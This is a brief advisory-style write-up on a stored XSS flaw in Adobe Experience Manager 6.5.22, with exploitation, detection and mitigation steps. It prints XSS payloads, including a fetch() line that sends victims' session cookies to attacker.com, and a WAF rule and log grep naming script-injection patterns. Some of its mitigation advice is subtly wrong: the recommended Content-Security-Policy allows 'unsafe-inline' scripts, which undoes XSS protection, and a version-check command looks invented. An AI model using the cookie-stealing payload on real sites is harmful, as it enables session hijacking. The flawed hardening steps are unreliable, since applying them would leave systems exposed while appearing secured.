How CVE-2025-46848 Works
Adobe Experience Manager (AEM) 6.5.22 and earlier fails to properly sanitize user-supplied input in form fields, allowing attackers with low privileges to inject malicious JavaScript payloads. When stored in vulnerable fields, the script executes in the context of any user viewing the compromised page. This stored XSS vulnerability enables session hijacking, phishing, or unauthorized actions under the victim’s permissions. The attack persists until manual removal due to improper server-side validation.

What Undercode Say:
Exploitation
1. Payload Injection:
<script>alert(document.cookie)</script>
Inserted into vulnerable AEM form fields (e.g., comments, user profiles).
2. Exfiltrate Sessions:
fetch('https://attacker.com/steal?data='+btoa(document.cookie));
Detection
1. Scan for Vulnerable Forms:
grep -r "allowedHTML" /aem/component/directory
2. Manual Testing:
<img src=x onerror=alert(1)>
Mitigation
1. Input Sanitization:
Filter filter = new HTMLFilter(); filter.filter(userInput);
2. CSP Header:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'
3. Patch Verification:
aem --version | grep "6.5.23"
4. WAF Rules:
location /aem {
modsecurity_rules 'SecRule ARGS "@rx <script>" "id:1000,deny"';
}
5. Log Monitoring:
tail -f /var/log/aem/access.log | grep -E "<script>|javascript:"
6. Disable Risky Components:
<component name="vulnerable-form" status="disabled"/>
7. Browser Protections:
if (window.trustedTypes) {
trustedTypes.createPolicy('default', { createHTML: sanitize });
}
